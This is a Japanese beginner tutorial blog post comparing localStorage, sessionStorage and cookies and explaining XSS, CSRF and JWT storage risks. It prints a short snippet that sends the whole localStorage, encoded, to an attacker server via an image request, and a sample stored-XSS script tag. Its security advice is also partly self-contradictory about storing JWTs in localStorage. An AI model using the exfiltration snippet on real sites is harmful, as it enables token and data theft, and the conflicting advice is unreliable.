deve.K

エンジニアが未来を切り開く。

JavaScriptでWebStorageの使用について 注意点

初学者様向けのJavaScriptでWebストレージを使用する上でのセキュリティ(安全性)などの基本的な知識を解説致します。

プロジェクト構築の過程で、権限認証のトークン、ユーザー情報、埋め込みポイントの数、スキン情報、顧客が構成した言語タイプなどの情報をローカルに保存する必要がある状況に遭遇することがよくあります。

一時的に保存して、不要なリクエストやブラウザの冗長な操作を避け、お客様の利便性を高めます。

その際に、データベースの複雑さを増すことなく、HTMLで何かを成し遂げたい場合があります。

クライアントによってローカルにデータを保存する新しい方法を提供します。

それはWebストレージとなります

またWebストレージは、LocalStorageとSessionStorageに分けられJavaScriptでアクセス可能です。

サーバーではなくブラウザにキーと値のペアで保存できます。

特にセキュリティの部分に焦点を当てていきます。

localStorageとは?

localStorageは特定のドメインのブラウザに情報のデータを長期間保存するためのWebストレージの一種です。

DOMストレージとも呼ばれる事もあります。

キーと値のペア、永続的なストレージの方法で保存されます。

つまりlocalStorageはデータの永続性があり、localStorageに保存されているデータは期限切れになりません。

保存期間は開発者の好みによって異なります、1日もあれば1週間など制限はございません。

制限がないのでコードを使用して削除するか、ユーザーが手動で削除するまで保存されたままになります。

これは、タブまたはブラウザウィンドウを閉じてもデータが保持される事になります。

See the Pen JSのlocalStorage by dev.K | Webアプリ開発者 (@enjinia_f) on CodePen.


ブラウザを再度開いた時に利用が可能です。

Chromeを使用している場合は、devtoolの[アプリケーション]タブ -> [ストレージ] -> [ローカルストレージ]に入力したlocalStorageの値を確認できます。

  • 期限切れはありません

  • クライアントのみ

  • SSLをサポートしていません

  • HTTPリクエストごとにデータが転送されることはありません

  • 5MB制限(ブラウザで確認してください)

Cookie

当初、WebはHTTPプロトコルを使用してメッセージを送信しておりました(HTTPの代わりにHTTPSを使用する必要があります)。

それらプロトコルはステートレスのプロトコルです。

つまりステートレスは『 永続的な情報』を保存する事はありません。

HTTP Cookieは、Webサイトのサーバーが作成し、サイトにアクセスする新しいユーザーに送信するテキストファイルとなります。

接続するとサーバーはCookieに保存される情報を生成し、その情報にはお客様のコンピューターに固有のIDのラベルが付いています。

Cookieには、その特定のユーザーに固有の情報が含まれているので、そのユーザーを識別するために使用されます。

例えば、認識情報やショッピングする際のカート情報の保存です。

Cookieはハードドライブにテキストファイルとして保存されるため、重大なセキュリティリスクをもたらします。

侵入者は誰でもこれらのファイルを簡単に開いて、そこに含まれる情報を表示できます。

つまり、Cookieはユーザーによって簡単に改ざんされる可能性があります。

ですので、すべてのブラウザにはCookieを含む履歴をクリアするための設定が付属しています。

手動でユーザーはハードドライブに保存されているCookieのテキストファイルを見つけることができます。

ユーザーはそれらを編集および削除することを選択できます。

必要に応じてCookieを構成することもできます。

たとえば、ユーザーがブラウザタブを閉じると期限切れにするか、特定の期間だけ存在するように設定することが可能です。

また、サーバーに障害が発生した場合でも、Cookieから情報を取得できます。

  • 有効期限が異なります(サーバーまたはクライアントの両方が有効期限を設定可能です。)

  • HttpOnlyフラグがtrueの場合、クライアントはCookieにアクセスできません

  • SSLをサポートしています

  • 最大4KBの制限

  • サイバー攻撃を受けやすい

  • 認証関連のタスクを実行するのに適している

sessionStorage

セッションも一種のクッキーです。

sessionStorageオブジェクトは、1つのセッションのデータのみを格納することを除いて、localStorageオブジェクトと同じです。

同じページの別のタブには異なるストレージがあり、 ユーザーが特定のブラウザタブを閉じると、データは削除されます。

つまりsessionStorageデータはウィンドウタブごとに個別に保存され、保存されたデータは開いている限りそのウィンドウタブのページ間で保持されますが、他の場所には表示されません。

ウィンドウを閉じたらすぐにデータを削除したい場合、またはアプリケーションが別のウィンドウで開いた同じアプリケーションに干渉したくない場合は、sessionStorageを使用します。

つまり、特定のアクションを防ぐのにも役立ちます。たとえば、一部のユーザーが特定の購入を行うことを禁止するのに役立ちます。

sessionStorageに保存されるデータは、そのページのプロトコルとは異なります。

これは、HTTP経由でアクセスされたサイトに保存されたsessionStorageデータが、HTTPS経由でアクセスされた同じサイトに保存されたデータとは異なるオブジェクトに保存されることになります。

localStorageよりも少ない頻度で使用され、プロパティとメソッドは同じですが、はるかに制限されています。

  • ブラウザタブを閉じるとデータが失われます

  • クライアントのみ

  • SSLをサポートしていません

  • HTTPリクエストごとにデータが転送されることはありません

  • 5〜10 MBの制限(ブラウザで確認してください)

違い

WebストレージにはCookieよりも大きなストレージ容量があることをご存知でしょう。

したがって、クライアント側の大規模なデータを保存するには、CookieよりもWebストレージの方が常に適しています。

しかしセッションストレージとローカルストレージではデータ保存の永続性が異なるため、データを永続化する期間に応じて、どちらかを慎重に選択する必要があります。

Cookieを使用すると、TTLまたは有効期限を自動的に設定が可能となります。

HTTPリクエストとともにサーバーに転送されます。

この機能はWebストレージにはありません。

類似点は、CookieとWebストレージはどちらもキーと値のペアを文字列として保存し、最新のすべてのブラウザで十分にサポートされています。

Cookieはユーザーによってブロック可能であり、Webストレージもブロック可能です。

データを保存しないように選択可能となります。

セキュリティ(安全性)

ここからはJavaScriptでWebStorageを扱っていく上で最も、重要な事です。

長くなると思いますが、開発者は考えられるすべての違反をチェックし、新しい機能を開発する際に攻撃者(ハッカー)から注意を払う責任があります。

機密性の低い情報を保存する場合にのみ、ローカルストレージを使用する必要があります。

これは、サードパーティの個人が情報に簡単にアクセスできるためとなります。

サードパーティとは、『第三者』という意味になります。

企業・団体・機関です。

全世界で最も危険なのは…

JavaScriptです。』

はい、それは正しいです。

特に、XSS攻撃は悪意のあるスクリプトをWebアプリケーションに挿入しますが、残念な事にLocalStorageとSessionStorageの両方がXSS攻撃に対して脆弱となっています。

XSSは(英: cross site scripting)クロスサイトスクリプティングの略称です。

XSS攻撃では、攻撃者側がWebサイトでJavaScriptを実行できる場合、攻撃者はローカルストレージに保存されているすべてのデータを取得し、それを自分のドメイン(サーバー)に送信することができます。

ほとんどが保存されているデータに悪意のあるスクリプトを追加するために使用される可能性があり、これは非常に危険です。

CookieではHTTPのみとしてマークでき、セッション中のユーザーのブラウザに対するXSS攻撃を制限しますが、これはXSS攻撃に対する完全な耐性を保証しているものではありません。

本日では詳しく解説は致しませんが、開発者がLocalStorageを使用してトークンを保存および取得する方法を示します。

// testTokenという名前の変数を格納します
localStorage.setItem("token", testToken);

// その値を取得します
const testToken = localStorage.getItem("token")

では攻撃者が攻撃者側のサーバーに送信される際ですが、簡単です。

JSON.stringify()を使用します。

stringify() メソッドは、JavaScriptのオブジェクトまたは値などをJSON文字列として変換するものです。

つまりサーバー通信の際に使用されます。

あなたのLocalStorageオブジェクト全体を盗み、攻撃者のサーバーに送信されます。

new Image().src = "https://" 
    + btoa(JSON.stringify(localStorage));

指定されたURLで新しい画像を読み込みます。 URLは攻撃者側のサーバーURL指定になります。

ブラウザがこのコードを実行すると、URLへのリクエストがトリガーされます。

機密データを下記のように保存することはお勧めしません。

  • ユーザー名やパスワード

  • APIキー

  • 個人情報

  • セッションID

  • クレジット情報

  • アクセストーク

これら上記は仮に一時的に一瞬の保存であっても使用は避けて下さい。

『私のWebサイトは安全なので』きっと攻撃者は私のWebサイトにJavaScriptを実行する事は不可能と思われている方もいるでしょう。

つまりこう考えてみて下さい。

機密情報をローカルストレージに保存する場合、世界で最も危険なものを使用して、これまでに作成された中で最悪の保管庫にあなたが機密情報を保存します。

Webサイトが本当に安全で、攻撃者がWebサイトでJavaScriptコードを実行できない場合、技術的には安全ですが、実際には開発者がそれを実現するのは非常に困難となっています。

では、攻撃者がWebサイトでJavaScriptを実行するリスクを外部リンクの例でいくつかリストとして示します。

これだけでなく、他の外部リンクでもドメインの有効期限が切れたとき、または使用できなくなったときに、悪意のある攻撃者によって悪用され、乗っ取られる可能性があります。

これは、srcのリンクはサイト分析などを収集する役割を果たします。

リンクのドメインが有効期限切れになった場合、ドメインは誰でも簡単に再利用でき、Webページに接続されているファイルとリンクのコンテンツを更新可能です。

そのドメインを持っている人は誰でも、私たちを含む自分のWebページにそのスクリプトを埋め込んだWebページを引き継ぐことができます。

<body>
  <script src="http://xxxx.com/sdk/sdk.js"></script>
</body>

スクリプトが引き継がれた後はどうなるかは、想像できたかと思います。

攻撃者はWebサイトにリンクされたJSファイルのコンテンツを変更できるようになったため、認証されたユーザーのポータルまたはダッシュボードが制限されている場合は特に、Webページ上の機密データを盗むために使用される可能性があります。

基本的なXSS攻撃は、フォーム入力を介してJavaScriptを挿入しようとします。

しかしJavaScript攻撃で、最も悪意のあるスクリプト実行は外部リンクからの、sessionStorageまたはlocalStorageに保存されているデータ取得です。

XSS攻撃が成功した場合は、攻撃者はアプリケーションコードまたはサイトのコードを完全に制御できます。

攻撃者側の管理下となってしまいます。

リンク切れの脆弱性を修正するために使用できる方法はたくさんございます。

最も簡単な方法は、人気のあるツールを使用してWebサイト上の期限切れのリンクを検出するようにして下さい。

リンクチェッカーなどを使用すれば、期限切れのリンクとドメインを簡単にチェックし指定されたターゲットのWebサイトがクロールされ、壊れたリンクが検索されます。

ですが、もちろんXSS攻撃はリンクだけではありません。

XSS攻撃の実際の結果は、はるかに深刻になる可能性があります。

攻撃者はアプリケーションが実行できるすべてのことを実行可能です。

  • クッキー情報の読み取り

  • ローカルに保存されたデータの読み取り

  • リモートサーバーへのリクエストの送信

  • ページコンテンツの読み取りと変更

エンジニアとして、私たちはWebサイトにサードパーティJavaScriptを組み込むことは決してないだろうと考えることがよくあるかと思います。

ですが、サイトのどこにもサードパーティJavaScriptを使用していないことを、あなたは本当に確信できますか?と言われると

『はい』とは言えません。

なので、注意を怠ってセキュリティインシデントのリスクを大幅に減らすには、機密性の高いものをWebストレージに保存しないでください。

機密データを保存する必要がある場合は、ユーザーのセッションIDを作成し、暗号で署名されたCookieに保存させます。

ローカルストレージは、サーバーにプッシュされる前に一時的にデータを保存するのに役立ちます。

アクセストーク

まずはJWTについて概要を説明します。

JWTはJson Web Tokenの略称となります。

JWTは基本的にエンコードされた文字列であり、いくつかの基本情報(必要なもの)が含まれます。

JSONオブジェクトの形式で情報を安全に送信できるようにするオープンスタンダードとなります。

認証やアクセス制御についての情報をJSON形式で記述します、一定の手順で符号化したトークン(token)を生成することができます。

ログインプロセスを実行すると、サーバーから返されます。

サーバーが受け入れるために認証が必要な場合は、クライアントがそれを提供する必要があります。

JWTは署名されています、つまり、JWTはユーザーをサーバーに対して正当で認証された、ユーザーとして識別する方法となります。

認証が必要な追加のリクエストでJWTを提供する必要がある場合、どこでそれを行うか。

localStorageに保存する事でした。

JWTを保存する最も簡単な方法でもありますが、これがはるかに安全でない方法である事は事実です。

JWTを盗むことができ、要求はすべて認証されたユーザーとして受け入れられることを意味します。

そのための方法は、XSS攻撃となります。

では、ブログの投稿者視点からいきましょう。

<div>
   ブログ記事の作成
    <script>functionToReadYourJWTandSendItToMe()</script> 
  
</div>

上記では、データベースに挿入され、管理者がブログ投稿のプレビューを表示するページを開くと、スクリプトが非表示になって実行され、管理者JWTが正常に盗まれます。

また、管理者がブログ投稿を受け入れ、それがWebサイトのホームページに表示されると、ページを開くすべての訪問者に対してスクリプトが実行されます。

そうなった場合はすべてのJWTを盗みます。

アプリをXSSに保護する方法もございます。

Http Only Cookieに保存する事です。

HttpOnly属性があり、この属性を適用することにより、このCookie使用をHTTPリクエストのみに制限し、XSSから完全に保護します。

ですが、悪意ある攻撃者はそんな甘くはありません。

CSRF攻撃を受けやすいです。

CSRFは(英: Cross Site Request Forgery) クロス・サイト・リクエスト・フォージェリの略称です。

シーサーフと発音されることもあります。

ワンクリック攻撃またはセッションライディングとも呼ばれています。

この攻撃の目的は、悪意のあるWebサイトにリクエストを作成して、標的のWebサイト上で実行することです。

例えば、悪意のあるWebアプリが、特別に細工された画像タグ、非表示のフォーム、AJAXリクエストなどのリクエストを送信する方法はたくさんあります。

これらはすべて、ユーザーの操作や知識がなくても機能します。

しかし、攻撃者は応答を受信しないため、被害者にデータの取得を強制しても、攻撃者にはメリットがございません。

そのため、CSRF攻撃は、状態を変化させるリクエストを標的にします。

ログインCSRFと呼ばれる特殊な形式の攻撃を介して被害者の個人データを取得できます。

攻撃者は、認証されていないユーザーに、攻撃者が制御するアカウントにログインするように強制します。

被害者がこれに気付いていない場合は、クレジットカード情報などの個人データをアカウントに追加する可能性があります。

ですが、開発者は必要に応じてLocalStorageを回避することはできます。

SPA用のOAuth2.0ライブラリの使用です。

OAuth 2.0 を使用すると、ユーザー名やパスワードなどの情報を非公開にしたまま、特定のデータをアプリケーションと共有できます。

このOAuth 2.0フローは、『暗黙権限付与フロー』と呼ばれます。

ユーザーがアプリケーションを使用しているときにのみAPI にアクセスするアプリケーション向けに設計されています。

これらのアプリケーションでは機密情報を保存できません。

ほとんどのReactシングルページアプリケーションでは、実際にトークンをクライアント側のどこかに保存する必要があります。

このライブラリの高度なオプションの1つである、WebWorkerを使用しトークン更新を処理することです。

WebWorkerは更新トークンをアプリケーションの実行コンテキストから分離します。

新しいアクセストークンが必要になるたびに、アプリケーションはトークンを取得するためにWebWorkerにメッセージを送信します。

そしてトークンを受信すると、ポートを使用してトークンをメインアプリケーションに送り返してくれます。

アクセストークンはメモリに保持されるため、攻撃者がそれを盗むことは困難となりますが、XSS攻撃の場合では攻撃者がアプリケーションのコードを完全に制御できるようになるので、再定義し対策してもWeb Workerがアクセストークンを使用して応答を送信するたびに、攻撃者はその応答を傍受することができます。

JWTトークンはXSS攻撃に対して脆弱ではなく、満足するかもしれません。

優れた攻撃者が侵入する方法は常にあります。

XSSは、攻撃者がアプリケーションを完全に制御できることを理解する必要があります。

JavaScriptの動的な性質を考えると、その時点で回復はありません。

これは、XSSの防止に焦点を当てる必要があることも意味しています。

XSS攻撃を防ぐための一般的な対応は、信頼できないすべてのデータをエスケープしてエンコードすることです。

どのように保存していくのかを理解されている方は、なるべくメモリ内ストレージまたはWebWorkerオプションを使用下さい。

基本的に、JWTをlocalStorageに保存しても問題ありません。

最も良い方法の1つです。

もしくは、Cookieを使用してJWTトークンを保存します。

常に安全で、常にhttpOnlyとし適切な同じサイトフラグを使用します。

この構成により、クライアントのデータが保護され、XSSおよびCSRF攻撃が防止され、フロントエンドコードでトークンを手動で使用する必要がなくなるため、Webアプリケーションも簡素化されます。

ですが、根本的な問題解決はできないのでコードレビューは欠かさず行うようにして下さい。

最後に

SessionStorageとLocalStorageはXSS攻撃に対して脆弱です。

Web Storageを使用する人は誰でも、常にHTTPS経由でJWTを送信し、HTTPでは送信しないように行う必要があります。

LocalStorageにデータを保存すると、少なくともCSRF攻撃なら防ぐことができます。

XSS攻撃の状況は、攻撃者はユーザーがWebサイトを持っている場合にのみ攻撃を実行できるため、保護されたCookieの方が少し優れています。

保存する事に問題はありません。

XSSCSRFに対して脆弱ですが、…そうではありません。

対策方法も沢山あります。

多くの場合、実装が簡単なlocalStorageを使用してください。

ですが、あなたが望むものを選ぶ必要があります、どちらの攻撃も、注意する必要があるのはそれだけではありません。

覚えておいてください。

次回では、JavaScriptオブジェクトをJSON文字列としてオブジェクトに格納するための巧妙なトリックを実際のコードで使用方法などを解説致します。

本日は以上となります。

最後までこの記事を読んで頂きありがとうございます。

プライバシーポリシー